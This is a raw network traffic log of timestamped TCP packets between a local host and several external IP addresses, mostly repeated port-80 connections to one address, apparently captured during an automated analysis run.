Oct 7, 2024 13:27:46.813606977 CEST	80	50039	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:46.813738108 CEST	50039	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:47.920393944 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:47.920434952 CEST	443	49998	23.1.237.91	192.168.2.5
Oct 7, 2024 13:27:47.920447111 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:47.920484066 CEST	49998	443	192.168.2.5	23.1.237.91
Oct 7, 2024 13:27:48.386868954 CEST	50039	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:48.387821913 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:48.392862082 CEST	80	50039	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:48.392877102 CEST	80	50040	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:48.392931938 CEST	50039	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:48.393223047 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:48.393383980 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:48.398266077 CEST	80	50040	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:49.103140116 CEST	80	50040	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:49.106612921 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:49.751472950 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:49.751514912 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:49.751601934 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:49.752840042 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:49.752854109 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:50.915225983 CEST	50042	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:50.915267944 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:51.269316912 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:51.356173992 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.356239080 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.356745005 CEST	80	50042	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:51.356777906 CEST	80	50040	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:51.356813908 CEST	50042	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:51.357220888 CEST	80	50040	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:51.357281923 CEST	50040	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:51.358366013 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.358385086 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.358624935 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.391360998 CEST	50042	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:51.396261930 CEST	80	50042	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:51.458836079 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.472855091 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.519392967 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873709917 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873739958 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873748064 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873773098 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873781919 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.873789072 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873809099 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.873823881 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.873857021 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.982300997 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.982316017 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.982348919 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.982408047 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.982424021 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.982460022 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.982480049 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.987673044 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.987730980 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.987735987 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.987771988 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.987782955 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.987843037 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.987874031 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.987888098 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.987906933 CEST	50041	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:51.987911940 CEST	443	50041	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:51.989444017 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:51.989500999 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:51.989583015 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:51.989849091 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:51.989862919 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.044148922 CEST	80	50042	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:52.044214010 CEST	50042	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:52.464332104 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.464420080 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.465859890 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.465876102 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.466129065 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.467525959 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.467559099 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.467621088 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.914695978 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.914784908 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.915039062 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.915131092 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.915152073 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:52.915206909 CEST	50043	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:52.915221930 CEST	443	50043	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:53.553419113 CEST	50042	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:53.553951025 CEST	50044	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:53.558557034 CEST	80	50042	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:53.558631897 CEST	50042	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:53.559019089 CEST	80	50044	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:53.559112072 CEST	50044	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:53.559333086 CEST	50044	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:53.564136982 CEST	80	50044	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:54.780891895 CEST	80	50044	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:54.781433105 CEST	50044	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:56.678529024 CEST	50044	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:56.678917885 CEST	50045	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:56.683734894 CEST	80	50045	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:56.683784962 CEST	80	50044	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:56.683837891 CEST	50045	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:56.683921099 CEST	50044	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:56.694370985 CEST	50045	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:56.699240923 CEST	80	50045	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:57.500334978 CEST	80	50045	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:57.500405073 CEST	50045	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:59.006799936 CEST	50045	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:59.007198095 CEST	50046	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:59.013340950 CEST	80	50046	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:59.013417006 CEST	50046	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:59.013510942 CEST	80	50045	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:59.013575077 CEST	50045	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:59.013648987 CEST	50046	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:59.018492937 CEST	80	50046	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:59.806935072 CEST	80	50046	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:59.806999922 CEST	50046	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:01.428436041 CEST	50046	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:01.428808928 CEST	50047	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:01.433689117 CEST	80	50046	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:01.433749914 CEST	50046	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:01.433986902 CEST	80	50047	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:01.434056044 CEST	50047	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:01.434206963 CEST	50047	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:01.439049006 CEST	80	50047	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:02.124388933 CEST	80	50047	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:02.126410961 CEST	50047	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:03.305708885 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:03.310911894 CEST	80	50048	185.215.113.37	192.168.2.5
Oct 7, 2024 13:28:03.311007977 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:03.311166048 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:03.316128969 CEST	80	50048	185.215.113.37	192.168.2.5
Oct 7, 2024 13:28:03.919601917 CEST	50047	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:03.920324087 CEST	50049	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:03.924875975 CEST	80	50047	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:03.924932957 CEST	50047	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:03.925177097 CEST	80	50049	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:03.925276995 CEST	50049	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:03.929061890 CEST	50049	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:03.933886051 CEST	80	50049	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:04.048809052 CEST	80	50048	185.215.113.37	192.168.2.5
Oct 7, 2024 13:28:04.048867941 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:04.075067043 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:04.080583096 CEST	80	50048	185.215.113.37	192.168.2.5
Oct 7, 2024 13:28:04.324986935 CEST	80	50048	185.215.113.37	192.168.2.5
Oct 7, 2024 13:28:04.325084925 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:04.352610111 CEST	50048	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:28:04.651081085 CEST	80	50049	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:04.651177883 CEST	50049	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:06.486460924 CEST	50049	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:06.487684011 CEST	50050	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:06.492054939 CEST	80	50049	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:06.492136002 CEST	50049	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:06.492564917 CEST	80	50050	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:06.492630959 CEST	50050	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:06.497168064 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:28:06.502115011 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:28:06.519787073 CEST	50050	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:06.524569988 CEST	80	50050	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:07.192537069 CEST	80	50050	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:07.192610025 CEST	50050	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:08.846064091 CEST	50050	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:08.846414089 CEST	50051	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:08.851293087 CEST	80	50051	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:08.851315022 CEST	80	50050	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:08.851394892 CEST	50050	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:08.851397991 CEST	50051	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:08.851679087 CEST	50051	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:08.856678009 CEST	80	50051	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:09.557135105 CEST	80	50051	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:09.557286978 CEST	50051	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:11.290828943 CEST	50051	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:11.291172981 CEST	50052	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:11.296220064 CEST	80	50051	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:11.296351910 CEST	50051	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:11.296371937 CEST	80	50052	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:11.296489000 CEST	50052	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:11.296916962 CEST	50052	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:11.301889896 CEST	80	50052	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:12.007240057 CEST	80	50052	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:12.007296085 CEST	50052	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:12.540688038 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:12.540762901 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:12.541805029 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:12.542908907 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:12.542931080 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.219655037 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.219738960 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.221811056 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.221841097 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.222084045 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.249752045 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.295396090 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.742393970 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.742413998 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.742434025 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.742466927 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.742491961 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.742522001 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.742645025 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.769139051 CEST	50052	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:13.770124912 CEST	50055	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:13.776017904 CEST	80	50052	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:13.776106119 CEST	50052	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:13.776946068 CEST	80	50055	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:13.777093887 CEST	50055	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:13.777630091 CEST	50055	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:13.782598972 CEST	80	50055	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:13.831370115 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.831408978 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.831440926 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.831464052 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.831480026 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.831516981 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.835608006 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.835668087 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.835685968 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.835774899 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.835777044 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.835841894 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.837351084 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.837369919 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.837382078 CEST	50053	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:28:13.837388039 CEST	443	50053	104.102.49.254	192.168.2.5
Oct 7, 2024 13:28:13.842156887 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:13.842207909 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:13.842288971 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:13.842746019 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:13.842758894 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.316953897 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.317014933 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.318437099 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.318447113 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.318650007 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.320067883 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.320101976 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.320128918 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.472744942 CEST	80	50055	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:14.472821951 CEST	50055	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:14.771437883 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.771522045 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.771586895 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.772258043 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.772278070 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:14.772291899 CEST	50056	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:28:14.772298098 CEST	443	50056	172.67.206.204	192.168.2.5
Oct 7, 2024 13:28:16.327769995 CEST	50055	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:16.328079939 CEST	50057	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:16.333921909 CEST	80	50055	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:16.333935022 CEST	80	50057	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:16.334002018 CEST	50055	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:16.334037066 CEST	50057	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:16.336359024 CEST	50057	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:16.341334105 CEST	80	50057	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:17.046327114 CEST	80	50057	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:17.046399117 CEST	50057	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:18.557812929 CEST	50057	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:18.558159113 CEST	50058	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:18.563194990 CEST	80	50058	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:18.563280106 CEST	50058	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:18.563719988 CEST	50058	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:18.568389893 CEST	80	50057	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:18.569726944 CEST	80	50058	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:18.569842100 CEST	50057	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:19.272932053 CEST	80	50058	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:19.273016930 CEST	50058	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:20.899557114 CEST	50058	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:20.899935961 CEST	50059	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:20.904660940 CEST	80	50058	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:20.904733896 CEST	50058	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:20.904798031 CEST	80	50059	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:20.904870987 CEST	50059	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:20.904973984 CEST	50059	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:20.910007954 CEST	80	50059	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:21.615027905 CEST	80	50059	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:21.615087032 CEST	50059	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:23.136085987 CEST	50059	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:23.136439085 CEST	50060	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:23.142050028 CEST	80	50059	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:23.142144918 CEST	50059	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:23.142350912 CEST	80	50060	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:23.142420053 CEST	50060	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:23.142669916 CEST	50060	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:23.147695065 CEST	80	50060	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:23.857453108 CEST	80	50060	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:23.857532978 CEST	50060	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:25.477437019 CEST	50060	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:25.479275942 CEST	50061	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:25.483032942 CEST	80	50060	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:25.483094931 CEST	50060	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:25.484189987 CEST	80	50061	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:25.484513044 CEST	50061	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:25.484513044 CEST	50061	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:25.489415884 CEST	80	50061	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:26.223592997 CEST	80	50061	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:26.223726988 CEST	50061	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:27.728003025 CEST	50061	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:27.728375912 CEST	50062	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:27.733258009 CEST	80	50061	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:27.733325005 CEST	80	50062	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:27.733331919 CEST	50061	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:27.733438015 CEST	50062	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:27.733850956 CEST	50062	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:27.738711119 CEST	80	50062	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:28.506633997 CEST	50062	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:28.564259052 CEST	80	50062	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:28.564315081 CEST	50062	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:30.133990049 CEST	50063	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:30.139091015 CEST	80	50063	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:30.139208078 CEST	50063	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:30.139456034 CEST	50063	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:30.144391060 CEST	80	50063	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:30.835158110 CEST	80	50063	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:30.835233927 CEST	50063	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:32.353115082 CEST	50063	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:32.353446007 CEST	50064	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:32.506191015 CEST	80	50064	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:32.506243944 CEST	80	50063	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:32.506314039 CEST	50064	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:32.506445885 CEST	50063	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:32.506812096 CEST	50064	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:32.511715889 CEST	80	50064	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:33.231659889 CEST	80	50064	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:33.234930992 CEST	50064	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:34.854748964 CEST	50064	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:34.855242968 CEST	50065	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:34.860160112 CEST	80	50064	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:34.860196114 CEST	80	50065	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:34.860254049 CEST	50064	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:34.860320091 CEST	50065	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:34.860580921 CEST	50065	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:34.865528107 CEST	80	50065	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:35.569914103 CEST	80	50065	185.215.113.43	192.168.2.5
